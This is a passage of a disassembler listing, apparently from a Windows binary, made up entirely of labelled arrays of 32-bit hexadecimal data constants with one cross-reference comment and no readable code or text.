		dd 5BFEF1A4h, 6356FA6h,	77839E81h, 48D17360h, 0BD03A2E7h
		dd 0C17B9306h, 2D84BDB4h, 0E970FC54h, 6ABCA9F0h, 4FF9C6C3h
		dd 2553AB1Ch, 53B80F80h, 0B4167CB2h, 340A48F3h,	0F758BB0Fh
		dd 5319F31h, 0B8E95EAAh, 389DABDAh, 0AB34D46Ch,	6475371Bh
		dd 2121AB02h, 0DC3D0C8Bh, 52B70E96h, 0DD022359h, 1D14E75Ah
		dd 12A81E9h, 1282EAEBh,	0B17B09C6h, 0D7B37A3Bh,	4650E84h
		dd 84BFC82Dh, 57980E8Fh, 50BD5C90h, 360341EFh, 1A0D099Fh
		dd 3530B04Fh, 0EAB904E2h, 8BC52979h, 6BE9086Bh,	0B17D2752h
		dd 704557A8h, 1E76708h,	0A256A3B9h, 89C57B34h, 0FB309D0Bh
		dd 48E9A095h, 1609F202h, 3120FE28h, 3FCD8106h, 80E5D3F3h
		dd 0B01FE95Dh, 0B16225BEh, 0AD3C0CF1h, 60777F0Eh, 481D374Dh
		dd 0C56B0798h, 0A3211670h, 0D4F1033Ah, 0E9F08A27h, 7834CB2h
		dd 5F1BBE68h, 5B9BB770h, 123C43F9h, 99F8FF4Fh, 5859EACCh
		dd 0C5905B52h, 0DF04D028h, 28E4C5E9h, 50111CC7h, 0E702BB92h
		dd 2B4C5174h, 2FBA6A40h, 0E4FBF32Fh, 3DD69D07h,	7AF0A492h
		dd 56D1B75Ch, 0ED97C08h, 0DAEFD689h, 0E7288795h, 75C40C81h
		dd 0B3D077CAh, 7FAA331Bh, 9818980Ch, 2AF9A146h,	9F5B51CCh
		dd 0F50507DAh, 25845FE7h, 8FCA8E01h, 0E142FECFh, 5880AD2h
		dd 80679333h, 4D2A99CBh, 0AE2D502Dh, 1A4FA063h,	0B055A9Ch
		dd 0D636C48h, 720695Ch,	5A129AD1h, 6FE98545h, 2DC113E0h
		dd 917006E2h, 9F40231Dh, 94E38181h, 0B0CBC432h,	0B817CCCBh
		dd 1B73A06Eh, 0B1DD0639h, 42DB23E9h, 88E18197h,	0BA445A08h
		dd 0E94A47AEh, 8764DB8Eh, 425D7697h, 5901D8D7h,	172E4D68h
		dd 9F28FE6Eh, 0C82F4B62h, 902E711Ah, 8B177E5Dh,	250239E4h
		dd 0A05DE6D1h, 8F8B885h, 0A8295AF2h, 0AA1E8419h, 85EB8004h
		dd 0C784FAF4h, 4F68F0D8h, 1C81E67Eh, 0B1C32AB5h, 10D1F6B8h
		dd 26132D34h, 0D4057846h, 0BEC534h, 5CD56B37h, 0DDA001DBh
		dd 888030FDh, 0C6F69FE8h, 24DCA73Ch, 3ADDBEEh, 4DE8CF5Ah
		dd 0E53CB396h, 2E65B6ABh, 4C007D51h, 0E933BF5Bh, 18E160C2h
		dd 377F9CBEh, 8AB83202h, 57738C75h, 74D0A722h, 4ED90103h
		dd 5494217Ah, 261BA446h, 0BE28E143h, 0D05B12A3h, 48BFF836h
		dd 0EC3E2526h, 98D8B59Ch, 0D377F9A2h, 8DDEAFC1h, 7E42E7CAh
		dd 8793D754h, 2F3C17B8h, 0F82096A4h, 0E68925C2h, 0EC6BBAFDh
		dd 0ACDD592Bh, 8B1BA25Eh, 50BA555Ch, 6BE6D15Dh,	7B588D7Ch
		dd 28F04C88h, 0EBEE7213h, 0A35D7431h, 0A2BF0104h, 2F01B41Ah
		dd 4EFDA9A5h, 0C68AB64h, 0B3912A1h, 0CC1DEDB0h,	0E9043208h
		dd 57B934F2h, 7F8A8586h, 741C348h, 0DBF580BEh, 0DEC1EB04h
		dd 0A66FF61Ah, 3D845B18h, 3B8FE3BEh, 7352271Ch,	2CE961E3h
		dd 85562ADEh, 60296722h, 0BAFB8C6Ah, 7033EC07h,	8CC59990h
		dd 0C311D37Ch, 900087B2h, 5E702DEh, 0B0386ABFh,	0E9D8082Eh
		dd 542F5A51h, 0EBE1408Ah, 0CC0FD25h, 8636EF57h,	5B5A0953h
		dd 0B05FD021h, 0D2236092h, 0C6F6183Fh, 54304430h, 0E0620C12h
		dd 210612BCh, 3F04EBD6h, 31E24910h, 6A185E25h, 5A5144E9h
		dd 1F12F876h, 0F40C3161h, 0CC60AF40h, 382B41C3h, 2D7F5656h
		dd 987EC65Eh, 92AD336Bh, 0AD8CF74Fh, 755E2D42h,	8848B012h
		dd 332646FEh, 9205AC03h, 6F813C58h, 0DD2E9D15h,	0BB6D4049h
		dd 2B130A50h, 6507E5C1h, 0EB7F2AEDh, 690CD442h,	1E58C38Bh
		dd 5C0DD417h, 6E9E900h,	0EA0C9466h, 287063CAh, 5605505Dh
		dd 0F593978h, 0BB05B0EDh, 0A8628263h, 1D601011h, 0BBFCB525h
		dd 0AD84B426h, 7388D831h, 8D2B4E88h, 0A4B807B5h, 0CBD0AC22h
		dd 141F2155h, 9620A70Eh, 4E0840E8h, 9D09D290h, 4D864B42h
		dd 1BCF0D42h, 4FACE053h, 550E3A9Fh, 0DA8AABD1h,	0A040C2DBh
		dd 0C15F9E72h, 1A43970Ch, 0D1013005h, 6ACD5118h, 26A78A0Ch
		dd 9DD02E83h, 8448259Ch, 3A5B8F96h, 13121F96h, 0E0736A07h
		dd 3D045C1Fh, 0FD0112C3h, 0E90D0810h, 30B10F5Ah, 194CA248h
		dd 1BB88191h, 0E6821C60h, 682A7233h, 9FE3B5Fh, 5A6F305Ch
		dd 0F778B302h, 0B7FDEBD7h, 3125F2F0h, 0E4EDFBC6h, 1F02E67Ah
		dd 0E00BF329h, 0F7312747h, 54E06E75h, 0ECFD4F68h, 1AB8C019h
		dd 252C934Bh, 0E1C8C8E9h, 1B1E19CDh, 7BCC0613h,	16C361FDh
		dd 0EB26FA7Fh, 0B9F3C143h, 2961E191h, 0C3ADC004h, 201635C9h
		dd 538AF289h, 73F9BF00h, 47E94C2Ch, 0EF6F9F61h,	3CF47831h
		dd 6171ED01h, 0B5EB0804h, 0EC70592Eh, 0EBC99C16h, 0A112F2C8h
		dd 673F5E39h, 5D62A3D9h, 0EBB7EE84h, 0A9EB0112h, 19169D28h
		dd 0BDDE418Ch, 0BE5D6C19h, 0B1131229h, 599D6790h, 0C83C484Bh
		dd 0F901EF4Eh, 0DD25875h, 2DE15ACh, 6DF83591h, 3DB255E1h
		dd 0DCC9DEB8h, 4FE4F694h, 957EF70Bh, 1D10C580h,	905B072Dh
		dd 262C019Eh, 47687927h, 0A8765462h, 88805F58h,	9706302Eh
		dd 0B077B2C0h, 4F586880h, 3996377Dh, 5C2F277Ch,	0D384FACEh
		dd 2B4C820h, 1AE83598h,	0EB9AF012h, 41EB52C4h, 51664608h
		dd 752C3F2Ah, 228290EBh, 0B2B00B92h, 755F3514h,	2D3E02A4h
		dd 5D297DFEh, 7C693ED1h, 9F132045h, 344BA86Ch, 0BBB471AEh
		dd 61F73BD3h, 16589710h, 0B187EB87h, 173F884Ch,	85DC7D64h
		dd 237E01C6h, 200E9478h, 5981EAA2h, 9225B92Fh, 66B9A5FCh
		dd 49BA4E66h, 0E3D04671h, 1161E980h, 74483927h,	5B0802C6h
		dd 0C44AFDE9h, 6610D0D6h, 860135Eh, 1B25B19Ah, 0D607DA44h
		dd 0D02D4740h, 5F53B027h, 8A88B194h, 0B9291274h, 37D40287h
		dd 72016906h, 5D5B58B7h, 1CCDEE10h, 0C89FF989h,	6389F125h
		dd 7119C1E8h, 49985818h, 38DAA9ADh, 7CB9FDFAh, 0E156AD02h
		dd 0E65EE15Eh, 80220205h, 8B40F5DFh, 0B911D7Bh,	822F303h
		dd 0C3C4D955h, 0E8B92C87h, 294C018Ch, 8F286AD9h, 306900BFh
		dd 0CF294160h, 0C6466E9h, 0A9C15B18h, 3E202159h, 0E381054Bh
		dd 0C05364CEh, 2048F311h, 264524Ch, 0BF2175C6h,	0DF285768h
		dd 55792F08h, 5631200Ch, 0D0292E5Ah, 4A5810F4h,	1FE698F4h
		dd 52BBD4EAh, 2AB2B1BCh, 1797CDA4h, 34CE64h, 3AD7AF4Bh
		dd 90E93180h, 68096D54h, 3EB060BEh, 828B7Ch, 7D7E0889h
		dd 6F0CC03Ch, 50543301h, 5180575Ah, 9803E65Fh, 0DDCD1E5Fh
		dd 9562E4Dh, 9877270Ah,	0C0D362C5h, 65AEF751h, 831F0D34h
		dd 3D8B01EFh, 7D2D2BF2h, 6C748E01h, 98BE3066h, 0B7ECF941h
		dd 50B238ECh, 285BFA1Ch, 0D6A6E881h, 0CA6EA265h, 0E905A659h
		dd 0E1F2D4BEh, 7001EC58h
dword_4EF14C	dd 292D2364h, 8D4A0CBh,	0C5055903h, 0F3759C77h,	710CDD8h
		dd 6B9948C0h, 0B33823A6h, 7789BFE1h, 899F8136h,	9ACD7714h
		dd 0FA81F317h, 823FC328h, 44044DC4h, 0E30C310Ch, 0E1F0FF81h
		dd 0B2520799h, 0A5C2FEE5h, 225BC4Eh, 6F2D07BDh,	4506414Dh
		dd 506A6h, 0B8BA83EDh, 0EE4A09EAh, 0C60085A6h, 0DA7B072h
		dd 0BA176BBDh, 68EE5827h, 172FE905h, 78F85615h,	71AE4003h
		dd 2704CEBEh, 0B281B03Ch, 9D3AD4A1h, 0E990184Eh, 66C6952Dh
		dd 25F87AE4h, 7A305D90h, 18B54481h, 0BCCDE9C8h,	0DB2C077Ah
		dd 14508353h, 0AEC22B00h, 5905C527h, 0BF50B729h, 1D26EE01h
		dd 0A8F1E96Bh, 82D1B62Eh, 0D1011063h, 6F18BD60h, 1AC53333h
		dd 1D3BFDEEh, 0ED507829h, 0C89D5808h, 726E9276h, 0C01EDDD2h
		dd 0E930EF78h, 66B560F4h, 85F19F7Fh, 2912063h, 4DE1C669h
		dd 5055974Ch, 0BA5634DCh, 4EB3AA40h, 0A842E985h, 0ECB8029Ch
		dd 0DD2AAC32h, 5D5A7A64h, 521010E9h, 4AF95A2Eh,	6AD80973h
		dd 0C2003DAAh, 0D2B1A76h, 5BE0314Bh, 0EF71D4FBh, 0EF585416h
		dd 0B4A7CD78h, 0F9290FECh, 0DA1CAA72h, 6337D7C4h, 0D2480FAh
		dd 0E9E41840h, 9E002E4Fh, 47232D58h, 433E4819h,	0E9BC714Ch
		dd 0B973D72Dh, 0AF82C234h, 45766858h, 41E20FDEh, 89BD0F0Ah
		dd 0A3207ACBh, 3F745F28h, 0F612A2B8h, 87A8124Ah, 2A470801h
		dd 0AD94E925h, 0C736804Dh, 0FB966843h, 7258EFD8h, 90B44ED8h
		dd 74D3EBFAh, 0FB5B826h, 0D1788C07h, 55AFE9C2h,	0EEFC8B0Bh
		dd 4200F66Bh, 0DD5AC3E9h, 9C1812EAh, 1F6C69AAh,	38AE0B42h
		dd 1442EBE9h, 684DB441h, 89B9008Fh, 8164C321h, 3BBF0CF1h
		dd 520C5CB8h, 61653E0Ah, 0EF81C489h, 7C02487h, 6D50CA47h
		dd 0F9D11D19h, 3DC46680h, 0FA2120DEh, 2C2C6C0h,	5DB47FE3h
		dd 0F24EB589h, 8E5E12FEh, 573194E7h, 53198D96h,	4400F2C5h
		dd 71653C60h, 5A97685Eh, 6FA3302Ah, 0B9904D10h,	6012F15Eh
		dd 201A2DEAh, 7FE1C187h, 0BB4BADE7h, 69651728h,	445F3DFFh
		dd 0A3EE05C5h, 0C1F4A2DDh, 9883AF33h, 82F8F7A3h, 23A33E73h
		dd 544025ADh, 65188ABBh, 4E30571Eh, 669CC1DDh, 2A75A868h
		dd 4826A0BDh, 58313EDFh, 69BCF8FAh, 8E8B0494h, 0C0C62Dh
		dd 122205D1h, 10CD2925h, 590908F6h, 8AB0E989h, 0D69DCD01h
		dd 0FEEC59CBh, 0AF50655Fh, 0E958E5D6h, 606A4184h, 181FBAB6h
		dd 0EE24536Bh, 5A459901h, 3058927h, 6528F303h, 0B008E9C8h
		dd 42F6C1CFh, 89E0C093h, 97F178E3h, 0B95847F6h,	0A12200AFh
		dd 3ABD554Bh, 405F9B57h, 9E4DFF0Ah, 75B84225h, 5997875Bh
		dd 156077DDh, 96D8B1C2h, 6B392D5Fh, 0E36F19B5h,	7BEEC009h
		dd 0B8751E52h, 352C0451h, 0F829119Eh, 23D6261Dh, 0E9250B20h
		dd 28C1603Bh, 125A70D0h, 0E8D204D8h, 0F8CC3D56h, 5145E92Eh
		dd 58C53187h, 1CFED187h, 81AC525h, 5000AC8h, 5FA41B6Bh
		dd 1D04C01h, 0C0290840h, 615C0568h, 55EC2CB0h, 0EB48E974h
		dd 34488730h, 0DE377892h, 2AB05164h, 0D8BEC584h, 0FD60E078h
		dd 0F27DA277h, 452D814Ch, 259F0807h, 0A1B85800h, 6BE109h
		dd 1D365505h, 3F59E912h, 7CBB37A0h, 10223548h, 5D18FF9Fh
		dd 3D13A645h, 2105C2B3h, 0A00D2841h, 2F44107Ch,	28890A12h
		dd 0F3D11528h, 0F0B24C64h, 0E000B428h, 808EB652h, 4E287AF6h
		dd 173CB6F4h, 9F3950E4h, 0EF0420EDh, 9AC1DBE4h,	9D61BF8Dh
		dd 80B534E3h, 0B586F53Fh, 0A570AA49h, 245A5D52h, 2CBD5F7h
		dd 4DFC5E7Bh, 0CD99DCD8h, 60315569h, 2C7A90DDh,	4AD20810h
		dd 4DD53AFh, 0AC4D31B2h, 1CA8C4AAh, 13E41EFCh, 2E428E8h
		dd 9B205441h, 0D8505FE3h, 781125A2h, 21372AD0h,	82DFD90Fh
		dd 0C848FA03h, 2C186B6Bh, 1496CF8h, 72537CECh, 0C3C2DB01h
		dd 79650889h, 267CCCBFh, 5B9DD716h, 721127B9h, 0EC074E7Ch
		dd 24490FC5h, 80EE2B48h, 41C2CE22h, 55F4CFCh, 959C601h
		dd 6414E918h, 65B7539Ch, 0BF50135Dh, 126F652Dh,	4D2DABCEh
		dd 3BE5F33Eh, 0B80ABE9h, 4D545C18h, 6CCE035Bh, 5205D0F7h
		dd 0B7D10F4Bh, 0E67C17D7h, 79DE01B1h, 0DD5C16EBh, 987F9EB5h
		dd 3B172D42h, 21E02C37h, 0BDE7409Eh, 551AA518h,	1365C2E6h
		dd 0E971500Ah, 6A084116h, 24E9A8E4h, 502BDA88h,	68010A05h
		dd 0E02D5166h, 5EF6F45Bh, 0F907208Eh, 8CFA1147h, 0AFCCE9C1h
		dd 20852D7Bh, 8382F9AAh, 309870BCh, 74785A0Ch, 2E25EA20h
		dd 669EE051h, 4ACD58EEh, 68933071h, 3E1C02Ah, 7BF64Ch
		dd 0D930BAB3h, 9D6F2C5Bh, 59E892D8h, 8C580295h,	8FE755B9h
		dd 64008124h, 0E942FB5Fh, 6093B227h, 47A4765Eh,	0C39014D6h
		dd 45E5D112h, 603BA0Bh,	0F22668Ch, 30F2771Eh, 4CAAC29Fh
		dd 7B404B46h, 0B2E42A02h, 5DEA291Ah, 8BD0006h, 904E401Ah
		dd 2CF32784h, 0CAF26FC6h, 515CBBA8h, 0F18774B5h, 1CB32E5Ch
		dd 1C684C98h, 82B05954h, 120DA540h, 0BAC54EC4h,	2835EE00h
		dd 0B53A46B4h, 960BF44Ah, 8296B1F1h, 76E187BFh,	0BA2F4D33h
		dd 0FCDAE61Bh, 0B7405AD5h, 0E3632AE1h, 8E5C003h, 9805ED80h
		dd 3C301CC5h, 0C48259EFh, 0F8B252C3h, 0FE47CC59h, 801E6589h
		dd 8002E2C0h, 0D4E0C5EAh, 83D5E92Fh, 0E7EC28F6h, 0D4887E25h
		dd 57BE40EBh, 51F7BF05h, 0D1BC37A8h, 3863D04Fh,	715C7514h
		dd 76E50931h, 0BEFE41B6h, 4E0E32F4h, 5EF8BC01h,	0D01259E8h
		dd 0D023FAE3h, 0B80F8E9Ah, 5C580C4Ch, 2B0C59F1h, 4D5B6312h
		dd 74A60D01h, 842E050Dh, 0D7CFEA4Dh, 0A9F7E916h, 54B1024Eh
		dd 5D3AC980h, 164F5C43h, 0FDB72DBFh, 73F32D0h, 9B5515Ah
		dd 0B5EF713h, 6D67E8D2h, 0F892007Fh, 951E754Dh,	0A11729DEh
		dd 0D12A08F1h, 5C9B496h, 17A6E2ABh, 37E70C30h, 46BBBF02h
		dd 55F87193h, 324A0E1Fh, 3E1D96Fh, 1CC82F52h, 9160DBCAh
		dd 9848E161h, 0A3DE28B2h, 0BB526525h, 4DA2D995h, 0EAF5D138h
		dd 2DBF1735h, 0D9EC3F3Dh, 0AAC8B6C5h, 4A7B29CEh, 844EF3C2h
		dd 5E0E851Fh, 0B243D6C5h, 35FC5AC8h, 0B540F8F5h, 3940F68Dh
		dd 12EB5123h, 0A076E970h, 51B55C6Ah, 9BB6AEDh, 8544100Eh
		dd 6891591Eh, 1B09CFFAh, 0DB2ED74Fh, 9E77E563h,	92B6F48Fh
		dd 47555CC3h, 0E95002F3h, 3374B340h, 586A062h, 0D831EC56h
		dd 1358D76h, 0D7B8333Dh, 3F3ED8DAh, 0FAEC5816h,	1888610h
		dd 2D3483B0h, 0D3EDC608h, 0B94A9968h, 0C056B26Ah, 810AEBD2h
		dd 38CE2266h, 0FE5C409Ch, 3EF64851h, 2AE868C2h,	0FA82DE51h
		dd 0D6770704h, 0F2810008h, 1CDD7C03h, 1E34BAC0h, 724974A7h
		dd 0EE1FE41h, 2EF55CBAh, 6E63E9CEh, 0F1E027FCh,	0D90FA13Bh
		dd 0A5CA018Eh, 8CAAD52Bh, 0A6416079h, 4B0EA640h, 0DBEDF3F2h
		dd 57484B28h, 0CCFEDE0Eh, 0CA0E725Dh, 45FD0EDDh, 0E3045BFDh
		dd 96D1FB19h, 0AB7602D4h, 0B5E3EE35h, 4F1C3870h, 3EA943ECh
		dd 0F6857C0h, 10B60911h, 4D507DE9h, 7949C7F4h, 704B2F5Fh
		dd 0A6719D24h, 660109A8h, 0E93DC3BDh, 0C78E0313h, 0EF6487F1h
		dd 9CE5FBF5h, 317CF4ECh, 0D2C6E708h, 0A4EB5005h, 1725FB28h
		dd 5AA8D65Dh, 975964FDh, 9569D4ECh, 19840057h, 0F743445Ah
		dd 1781CAD1h, 0AE3011EFh, 8161ED78h, 15DCBD6Dh,	122F09D7h
		dd 0E2B2C0EBh, 0EA2F4919h, 0E5120146h, 62A51765h, 0CFDD9B42h
		dd 190B45Bh, 6E9D7D2h, 0B1FD2BE5h, 0F150C107h, 0E479FB22h
		dd 381D7ADh, 243FE9DDh,	0D3955B0Fh, 75E30028h, 0C1108C77h
		dd 3201EB4Ah, 6324537Ch
		dd 350EE240h, 0FA1E5AD0h, 86EAC964h, 0E91A3001h, 605CE45Fh
		dd 0B72377FFh, 48B50D18h, 601BD425h, 2635D1C4h,	2E73AF9h
		dd 71734D9Dh, 0AF148084h, 0BD21B234h, 9D50C6D2h, 3068B5EDh
		dd 0DE0C05D0h, 3358BC75h, 28CD030Bh, 170F9D65h,	13235A1Ah
		dd 0FE20EF9Dh, 40F704E7h, 64129E0Ah, 20081C1Bh,	3F68008Ch
		dd 5E7D5A35h, 0F6814E03h, 0E07E696Ah, 37E9F189h, 9729FF72h
		dd 0EE550B61h, 84E91350h, 19E0901Fh, 975C78EEh,	984720CCh
		dd 254CF499h, 717E2A36h, 0D33A80B9h, 0D629F9C7h, 0A8DAA05Ah
		dd 4E2809B1h, 87E25BE9h, 80CB0C56h, 0B5310AD3h,	15569D74h
		dd 0E9040CC8h, 46E85D93h, 0BAA883C5h, 4065617Ch, 51775FD9h
		dd 0C200E64Ah, 2D4EA0BAh, 0BF5A950Ah, 0F78270Fh, 2094125h
		dd 0F8F55556h, 95078FF2h, 0FC1E4111h, 797E40CFh, 0D4F88B5Ah
		dd 40B00CF6h, 60DA9B45h, 2F7F5575h, 0ABC843A4h,	98CAF3D5h
		dd 9C09CD29h, 88A0592Fh, 0E830F82Dh, 98FA475Eh,	2CCD099Eh
		dd 0C4050833h, 5584926Fh, 0E61A6955h, 0F274C42Ah, 80D2072Dh
		dd 0C30746EBh, 0E9445D5Eh, 0C2B5BB0Bh, 2723B83Bh, 6F0CFCAFh
		dd 0E31E2204h, 8DED1094h, 0E1072058h, 30833C50h, 8230AFB8h
		dd 0E4357702h, 0C3419C7Eh, 5040348h, 0F47516Bh,	944A36F0h
		dd 4F9DCDA0h, 0EE2FB280h, 6ED941E0h, 0D1753D01h, 0D13AAE4Ch
		dd 3AF24153h, 0BD4A6BF3h, 0BCEF1ABEh, 58A8FC1h,	0C6B93B78h
		dd 0C535FBDEh, 99D2EE3Ch, 9E1655EFh, 72C2096h, 540E3A2Fh
		dd 54DA96Ah, 0EEF187E9h, 4EFA9C8Ch, 20A0CDB5h, 0D6B8C6DCh
		dd 0A158552Eh, 0A60FF358h, 555479AAh, 8E2FF273h, 5A680BCFh
		dd 0D2533043h, 0BDACBFECh, 24B22909h, 247FF9Eh,	0B2250F6h
		dd 70E97C32h, 0E34B6172h, 70B67DFEh, 39380621h,	1E688928h
		dd 7013B073h, 12DF7B57h, 0BC0A3BE9h, 0BCC9D29Eh, 0E56148EEh
		dd 514B1ECh, 0FCB52367h, 378058Ah, 0C8BF3A5Fh, 8F1E99CAh
		dd 0F35360ACh, 754C400Ch, 0B66813E7h, 5938FF4Fh, 84EE95C7h
		dd 692C6814h, 5E54C499h, 6882FBF2h, 0E902306Fh,	0B5C3D0B4h
		dd 0C595EAD2h, 0B147890Bh, 0EC6BB966h, 37055F35h, 7B9132Eh
		dd 0FF497B5Ah, 0BE16180Eh, 0D021B7CDh, 0DE690165h, 592FE45Eh
		dd 69339Fh, 838D680Ch, 50E91D35h, 77E3FE4Eh, 539D005Eh
		dd 930538BBh, 2CE46150h, 0D0EF753Dh, 653818F0h,	0F7E99F0Eh
		dd 0D0F62FA0h, 9F9F8ED4h, 0D25FE4A7h, 0BD05FA7Dh, 0DFA4F427h
		dd 0BB291D70h, 4B03BE74h, 1669E64h, 8821CE6h, 0A0CE655Fh
		dd 6DF09D1Ch, 2B279884h, 6478D6A8h, 0A698AFD6h,	0B025922Bh
		dd 8749B599h, 0B7A96E14h, 3A02E9F1h, 0A3BEC884h, 0D9AF964Ah
		dd 0A7CD3A37h, 0CB27E27Eh, 0F73AE0C1h, 0BD974BD7h, 95D314CAh
		dd 6F5F81E9h, 713079F8h, 0FD050748h, 69DC0488h,	4CF0F00Fh
		dd 44E3097Fh, 0FD382FBh, 0F6C57FECh, 4081B42Fh,	0FE13E933h
		dd 3DAF0102h, 1FEC6FBDh, 0C2D9B4E1h, 0B03F35Fh,	99765BDDh
		dd 8EE79B8Dh, 533B076Fh, 0BA664FB3h, 38C016E6h,	1FF53E70h
		dd 0E3DA4889h, 9C5BDF4Ch, 0DB4ED7D5h, 907B77B5h, 266853B9h
		dd 0BD50989Fh, 0D41F0396h, 0E87FE97Eh, 0D13327Ah, 8005C36Bh
		dd 75F46E4Dh, 4E1F0B5Dh, 18896842h, 0D0A93A30h,	0E90AC204h
		dd 18F4674Ch, 58787349h, 5F2DD971h, 0A5D186FEh,	65BF8145h
		dd 66CCBFDDh, 97F14CF7h, 0F672EB1Dh, 6F709A75h,	72E374B5h
		dd 0F7209150h, 0D1C15CD4h, 59F18102h, 0C4828707h, 80013034h
		dd 0FEC078C7h, 9A5B4866h, 2CB753B0h, 254EE913h,	0F300CDBDh
		dd 4A231DE7h, 0BCA0D3F7h, 50B5359Ch, 5BD82466h,	195AC525h
		dd 6BFE70ECh, 4A1E50CCh, 33BB235Dh, 0ADAB172Ah,	0A4E5CD95h
		dd 0D97B0806h, 68516601h, 0A6571225h, 9CFC1504h, 0D8F2FC93h
		dd 0A0D1A136h, 0B8475FF1h, 978A945Bh, 0B19AFC29h, 0BC3BFB89h
		dd 91C8E49Ah, 53DBB65Bh, 0B54A6A24h, 39076893h,	0CA34B5Ah
		dd 0C1CD03B3h, 8A53D01h, 46BF31B0h, 182EBC25h, 99D613Fh
		dd 0C10AE9C3h, 1E366875h, 5C789757h, 21709C0Bh,	0BF2270A6h
		dd 995F1B0Bh, 923A19DCh, 0F962D6FFh, 0F5FDA075h, 50F05762h
		dd 1F2DAF4Fh, 0F219E63h, 0AE44B9E5h, 96F4EB5Dh,	442FF551h
		dd 0BDEA8124h, 7E044B33h, 8003EFC0h, 0C08496C2h, 59EE28D7h
		dd 0CCCEFE28h, 0E916B105h, 8547858Ch, 20F54D69h, 83B4EEF8h
		dd 0A09CF43h, 5EBD68ACh, 0B4506030h, 0DC17F64Bh, 485D5AE9h
		dd 0FAC07D49h, 29020FD5h, 7E690B27h, 0A1BFBA60h, 2BF76C78h
		dd 5F7FA00h, 0F44D83C5h, 5E8F6BE3h, 20DE96E9h, 912C706h
		dd 35013645h, 19600848h, 249DEED8h, 8EEF778h, 5A1E4167h
		dd 0B000D013h, 0B405A92Dh, 1F250023h, 0E929D376h, 0BFD01C07h
		dd 84BF15E1h, 50F103FBh, 0B745283Dh, 0BDE7AEC0h, 3C929EA0h
		dd 2816F019h, 60FBE55Dh, 1410BB9Ah, 0B44E4857h,	6EEBE9BFh
		dd 2BCA5513h, 0EF42277Eh, 0E8579299h, 6AE1DBD9h, 0EAA3AABDh
		dd 742768C9h, 5725E96Ah, 0F3F41921h, 522C097Bh,	0B5408B59h
		dd 66E95021h, 0CE297B14h, 0BC60505h, 3B8108E0h,	0E36FD9EDh
		dd 0C6889F57h, 22581381h, 9D44310Ch, 0F711160Bh, 0D3095713h
		dd 0B77DE6FFh, 0AB647A74h, 0B8B9F7F0h, 27C73DDCh, 0A9336518h
		dd 295A59CDh, 0BB204499h, 73A5B57Eh, 4C43AC7Dh,	7C5624A7h
		dd 4D598202h, 8695C11Ch, 0A3560DA7h, 12EE3116h,	0BAC8B74h
		dd 200571E9h, 78AEF646h, 0C793480Ah, 4E27A84Bh,	8CD61EE3h
		dd 46404924h, 0EF31295Dh, 2C7D265Ah, 0DF2942D8h, 0D2B8E275h
		dd 69D2C86Bh, 0A005AD07h, 5639A461h, 1D7BDF1h, 5EA9C369h
		dd 8055524Dh, 0E40BDBE6h, 29EBD5Ch, 0E99A391Ch,	0A6A9876Bh
		dd 2F2DCF91h, 0B7F43497h, 0B865C5AFh, 3B6B0E2h,	454EE9h
		dd 1E5E052Ah, 5E98092Bh, 282AED01h, 9E35E92Fh, 0B4312096h
		dd 1D3168C4h, 4769FF27h, 8A6A8C3Ah, 9028BE40h, 6ADEF46h
		dd 0DF203AFFh, 2C38ED94h, 4B8B4C3Fh, 0F602C5BCh, 4ACA80D2h
		dd 488463FFh, 0FF05A5E5h, 0BA1A8E59h, 0BD4E77B2h, 5C871C5Eh
		dd 2A89029Fh, 82A55149h, 7F71DA8h, 80EC658h, 0D28A3D84h
		dd 6CF108E5h, 0FB5B0C48h, 0FC7C2AADh, 27C11F22h, 393622DCh
		dd 3D5E0840h, 13C10F2h,	38E91774h, 585AE280h, 0F4D990C1h
		dd 0FFCE38D2h, 0B7F1ECCFh, 0DB43B1F2h, 29FC0E98h, 0ECDAEE13h
		dd 0CA05E90Ch, 48972D54h, 54E76869h, 9285CF10h,	0FD291664h
		dd 0A5C8A85Fh, 8311F3BEh, 27887E9h, 2817B80Ah, 85D7116Ch
		dd 59F1C47Dh
dword_4F0044	dd 0E420ED3Eh, 1A90FAB0h, 7B15377Eh, 0EC9F6375h, 0A6D236B9h
					; DATA XREF: ___:004380ECo
		dd 0C3957CB6h, 5AB82B4Bh, 21448E0Eh, 33D8FB13h,	2D112568h
		dd 468BD49Ah, 20B71A41h, 7C50BF85h, 36184874h, 670C0AEFh
		dd 2CF57B44h, 2558EAD1h, 895FC181h, 3BDB71F7h, 6855B800h
		dd 0FBA746B0h, 992CB73Dh, 0D0318930h, 0E45FD7B2h, 5BE9165Ch
		dd 0DCCE2046h, 5E274216h, 78DF80D1h, 791CB00Bh,	93098F7h
		dd 1270FFFBh, 523B8557h, 5D8725D2h, 17A69B23h, 0AED471CAh
		dd 0A7CF4980h, 0B0E901A5h, 8DC84C43h, 0E1DCB72Ah, 94E7E648h
		dd 9C752DFCh, 0E9A94FCh, 17102AE0h, 0B1BC5EE8h,	20F68BC5h
		dd 0B498A9D4h, 0CD2D7E7Bh, 945F35Fh, 0AD676B37h, 0CA27FEA0h
		dd 2062948Eh, 315A1179h, 216328FBh, 4F32F94Ah, 8FF8905Fh
		dd 8446B556h, 6684E916h, 0B7806AA3h, 0B5FE943h,	42A51D91h
		dd 0AA995F16h, 584E2406h, 0DFF68005h, 0C3EEF030h, 0C3C90FDCh
		dd 0E3AE9799h, 4581F881h, 3C5FC38Ch, 0BC7F0B0Bh, 0F2C3BFFh
		dd 0B1ABC766h, 0EFF6F71Bh, 87C8171Ch, 596680A3h, 1E654868h
		dd 0EBE8EF4Dh, 312CAF4Fh, 61938114h, 8424385Fh,	1139FA4h
		dd 0F167583Dh, 0E00B6E12h, 0F24E01BAh, 74202924h, 5603400Dh
		dd 0CF7D769Fh, 470996C6h, 8A5A90ECh, 2F689088h,	16DB0BF7h
		dd 0E89ECC49h, 0DFF734FBh, 1C60D008h, 170E5E38h, 8930C981h
		dd 4F7360CEh, 7B5248AFh, 2FD7D11Ch, 0E24B2A69h,	0D21300DFh
		dd 263A2E61h, 1C4EDC1h,	4F3ECCE5h, 85C62E57h, 0F54CC006h
		dd 437AFE6h, 96EB3125h,	0C980B712h, 0CE2966EFh,	0B694414Fh
		dd 325E080Bh, 808EFE4Ch, 3B9BD0EEh, 449F2183h, 0B8BB160h
		dd 0B075FD2Bh, 0B50914A5h, 1BB3936Eh, 14ABB108h, 0C52CE351h
		dd 9222E406h, 5DE45BFEh, 44B9FA1h, 0FAA3C3FAh, 0FE84F298h
		dd 68806AF9h, 92EA30AEh, 22422D23h, 0E892F6D1h,	1D1E308h
		dd 0FB02B4BDh, 0F01C3173h, 0ABBFF29Ch, 0B3007D37h, 1F8C07EEh
		dd 94E68101h, 466E3605h, 0D6287E21h, 92CFB75Eh,	33B22DFAh
